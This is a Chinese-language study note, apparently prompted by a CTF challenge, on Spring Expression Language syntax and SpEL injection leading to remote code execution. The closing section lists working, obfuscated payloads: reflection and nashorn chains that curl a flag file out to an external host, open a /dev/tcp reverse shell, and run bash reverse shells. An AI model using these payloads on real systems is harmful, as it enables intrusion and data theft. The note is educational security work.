做题目遇到了,就去查了一些这方面的资料,总结一下。
SpEL 简介
全称为 Spring Expression Language,即 Spring 表达式语言,和 JSP 类似但是强于 JSP
官方文档 : https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html
语法 :
#{...}
大括号内的字符都是 SpEL 表达式,用于引入变量,属性,方法等${...}
大括号内的是属性名T(Type)
用此表示类实例,返回一个类对象,常用于引入静态常量或者静态方法
用法 :
注解在 @value 中
public static class FieldValueTestBean @Value("#{ systemProperties['user.region'] }") private String defaultLocale; // systemProperties['user.region'] 是预先定义好的,赋值给 defaultLocale public void setDefaultLocale(String defaultLocale) { this.defaultLocale = defaultLocale; } public String getDefaultLocale() { return this.defaultLocale; } }
bean 依赖
<bean id="numberGuess" class="org.spring.samples.NumberGuess"> <!-- 相当于将一个随机数乘 100.0 赋值给 randomNumber --> <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/> <!-- other properties --> </bean>
在代码块中使用 Expression,ExpressionParser 将字符串表达式转换为 Expression 对象,因此,parseExpression 的值将在 EvaluationContext 中可用。此EvaluationContext 将是唯一可以从中访问字符串 EL 中的所有属性和变量的对象。
// 解析器,解析表达式 ExpressionParser parser = new SpelExpressionParser(); // 计算先前定义好的表达式 Expression exp = parser.parseExpression("'Hello World'.concat('!')"); // 获取结果 'Hello World!' String message = (String) exp.getValue();
变量 :
#bean_id
获取容器内变量#this
使用当前正在计算的上下文#root
引用容器的 root 对象
SpEL 表达式
文本表达式 : 支持字符串,日期,数字,布尔和 null
ExpressionParser parser = new SpelExpressionParser(); // evals to "Hello World" String helloWorld = (String) parser.parseExpression("'Hello World'").getValue(); double avogadrosNumber = (Double) parser.parseExpression("6.0221415E+23").getValue(); // evals to 2147483647 int maxValue = (Integer) parser.parseExpression("0x7FFFFFFF").getValue(); boolean trueValue = (Boolean) parser.parseExpression("true").getValue(); Object nullValue = parser.parseExpression("null").getValue();
属性值( Properties )使用
.
来访问,数组( Arrays )和列表( Lists )使用[]
来获取元素,字典( maps )使用[]
和 key 访问 value// evals to 1856 int year = (Integer) parser.parseExpression("Birthdate.Year + 1900").getValue(context); // Inventions Array StandardEvaluationContext teslaContext = new StandardEvaluationContext(tesla); // evaluates to "Induction motor" String invention = parser.parseExpression("inventions[3]").getValue(teslaContext, String.class); // Members List StandardEvaluationContext societyContext = new StandardEvaluationContext(ieee); // evaluates to "Nikola Tesla" String name = parser.parseExpression("Members[0].Name").getValue(societyContext, String.class); // Officer's Dictionary Inventor pupin = parser.parseExpression("Officers['president']").getValue(societyContext, Inventor.class); // evaluates to "Idvor" String city = parser.parseExpression("Officers['president'].PlaceOfBirth.City").getValue(societyContext, String.class); // setting values parser.parseExpression("Officers['advisors'][0].PlaceOfBirth.Country").setValue(societyContext, "Croatia");
列表( Lists )可以在表达式中直接使用
{}
表达// evaluates to a Java list containing the four numbers List numbers = (List) parser.parseExpression("{1,2,3,4}").getValue(context); List listOfLists = (List) parser.parseExpression("{{'a','b'},{'x','y'}}").getValue(context);
数组可以在表达式中直接使用 Java 语法构建,但是多维数组不能手动初始化
int[] numbers1 = (int[]) parser.parseExpression("new int[4]").getValue(context); // Array with initializer int[] numbers2 = (int[]) parser.parseExpression("new int[]{1,2,3}").getValue(context); // Multi dimensional array int[][] numbers3 = (int[][]) parser.parseExpression("new int[4][5]").getValue(context);
Java 函数可以直接在表达式中使用
// string literal, evaluates to "bc" String c = parser.parseExpression("'abc'.substring(2, 3)").getValue(String.class); // evaluates to true boolean isMember = parser.parseExpression("isMember('MihajloPupin')").getValue(societyContext, Boolean.class);
可以使用关系运算,逻辑运算和数学运算
<, >, <=, >=, ==, !=, /, %, ! AND, OR, NOT +, -, *, /, %, ^
赋值可以通过赋值运算符来完成,也可以在 setValue 函数中完成,也可以在 getValue 的调用中完成
Inventor inventor = new Inventor(); StandardEvaluationContext inventorContext = new StandardEvaluationContext(inventor); parser.parseExpression("Name").setValue(inventorContext, "Alexander Seovic2"); // alternatively( 或者 ) String aleks = parser.parseExpression("Name = 'AlexandarSeovic'").getValue(inventorContext, String.class);
T(Type)
可以指定java.lang.class
的实例,但是对于其他实例,要完全限定Class dateClass = parser.parseExpression("T(java.util.Date)").getValue(Class.class); Class stringClass = parser.parseExpression("T(String)").getValue(Class.class); boolean trueValue = parser.parseExpression("T(java.math.RoundingMode).CEILING < T(java.math.RoundingMode).FLOOR").getValue(Boolean.class);
可以使用
new
调用构造函数,但是除了基元类型和字符串(其中可以使用int、float等)之外,所有的类都应该使用完全限定的类名Inventor einstein = p.parseExpression("new org.spring.samples.spel.inventor.Inventor('Albert Einstein', 'German')").getValue(Inventor.class); //create new inventor instance within add method of List p.parseExpression("Members.add(new org.spring.samples.spel.inventor.Inventor('Albert Einstein', 'German'))").getValue(societyContext);
变量可以使用
#变量名
来进行引用,这些变量是在StandardEvaluationContext
中使用setVariable
赋值的Inventor tesla = new Inventor("Nikola Tesla", "Serbian"); StandardEvaluationContext context = new StandardEvaluationContext(tesla); context.setVariable("newName", "Mike Tesla"); // 首字母不区分大小写 parser.parseExpression("Name = #newName").getValue(context); System.out.println(tesla.getName()) // "Mike Tesla"
使用
#root
引用根对象,使用#this
引用当前上下文对象。// create an array of integers List<Integer> primes = new ArrayList<Integer>(); primes.addAll(Arrays.asList(2,3,5,7,11,13,17)); // create parser and set variable 'primes' as the array of integers ExpressionParser parser = new SpelExpressionParser(); StandardEvaluationContext context = new StandardEvaluationContext(); context.setVariable("primes",primes); // all prime numbers > 10 from the list (using selection ?{...}) // evaluates to [11, 13, 17] List<Integer> primesGreaterThanTen = (List<Integer>) parser.parseExpression("#primes.?[#this>10]").getValue(context);
通过使用
StandardEvaluationContext
中的registerFunction(String name, Method m)
函数来自定义函数public abstract class StringUtils { public static String reverseString(String input) { StringBuilder backwards = new StringBuilder(); for (int i = 0; i < input.length(); i++) backwards.append(input.charAt(input.length() - 1 - i)); } return backwards.toString(); } } ExpressionParser parser = new SpelExpressionParser(); StandardEvaluationContext context = new StandardEvaluationContext(); context.registerFunction("reverseString", StringUtils.class.getDeclaredMethod("reverseString", new Class[] { String.class })); String helloWorldReversed = parser.parseExpression("#reverseString('hello')").getValue(context, String.class);
如果已使用 Bean 解析器配置了上下文,可以使用
@
获取 BeanExpressionParser parser = new SpelExpressionParser(); StandardEvaluationContext context = new StandardEvaluationContext(); context.setBeanResolver(new MyBeanResolver()); // This will end up calling resolve(context,"foo") on MyBeanResolver during evaluation Object bean = parser.parseExpression("@foo").getValue(context);
表达式允许多个文本和解析块混合使用,常以
#{}
作为分界符String randomPhrase = parser.parseExpression("random number is #{T(java.lang.Math).random()}", new TemplateParserContext()).getValue(String.class); // evaluates to "random number is 0.7038186818312008"
SpEL 中的 RCE
SpEL 有两种 EvaluationContext,StandardEcalutionContext 和 SimpleEvaluationContext
两种 EvaluationContext 的区别 :
String calc = "T(java.lang.Runtime).getRuntime().exec('calc.exe')"; ExpressionParser parser = new SpelExpressionParser(); StandardEvaluationContext std_danger = new StandardEvaluationContext(); EvaluationContext simple_safe = SimpleEvaluationContext.forReadOnlyDataBinding ().build(); Expression exp = parser.parseExpression(calc); // 执行命令 Object value_1 = exp.getValue(std_danger); //报错 Object value_2 = exp.getValue(simple_safe);
在不指定
EvaluationContext
时,默认采用的是StandardEvaluationContext
,例如 Spring Data Commons 远程代码执行漏洞_CVE-2018-1273( 1.13-1.13.10, 2.0-2.0.5 ),SpringBoot SpEL表达式注入漏洞( 1.1.0-1.1.12, 1.2.0-1.2.7, 1.3.0 ),payload :
// http://rui0.cn/archives/1043 ${12*12} T(java.lang.Runtime).getRuntime().exec("nslookup a.com") T(Thread).sleep(10000) #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com') new java.lang.ProcessBuilder({'nslookup a.com'}).start() // 利用反射构造 #{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})} // 利用 ScriptEngineManager 构造 #{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='ex"+"ec 5<>/dev/tcp/1.2.3.4/2333;cat <&5 | while read line; do $line 2>&5 >&5; done';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")}
反射构造 RCE 的分析
关于反射 : Java 反射机制
根据源码,不难看出,
getRuntime
是返回一个 Runtime 的实例化对象,Runtime.getRuntime
就是实例化一个 Runtime 对象,接着调用 Runtime 类的exec
函数在 windows 上利用 Runtime 打开计算器的代码如下 :
Runtime.getRuntime().exec(new String[]{"cmd","/c","C:\\Windows\\System32\\calc.exe"});
利用反射打开计算器的代码如下 :
"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime"), new String[]{"cmd","/c","C:\\Windows\\System32\\calc.exe"});
"".getClass().forName("java.lang.Runtime")
获取 String 类并转换为 Runtime 类getMethod("exec","".getClass())
获取 Runtime 类的 exec 函数,并说明 exec 函数的参数类型为 Stringinvoke("".getClass().forName("java.lang.Runtime"), new String[]{"cmd","/c","C:\\Windows\\System32\\calc.exe"})
执行 exec 函数,第一个参数为含有 exec 函数的对象,第二个参数为 exec 函数的参数
这样虽然能够打开计算器,但是会报错,
"".getClass().forName("java.lang.Runtime")
返回的是类,而不是对象,所以要再使用getRuntime
来实例化一个对象,最终 payload 如下"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke("".getClass().forName("java.lang.Runtime"),null)), new String[]{"cmd","/c","C:\\Windows\\System32\\calc.exe"});
那么 RCE 就可以写成反弹 shell 的形式 :
"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke("".getClass().forName("java.lang.Runtime"),null)), new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});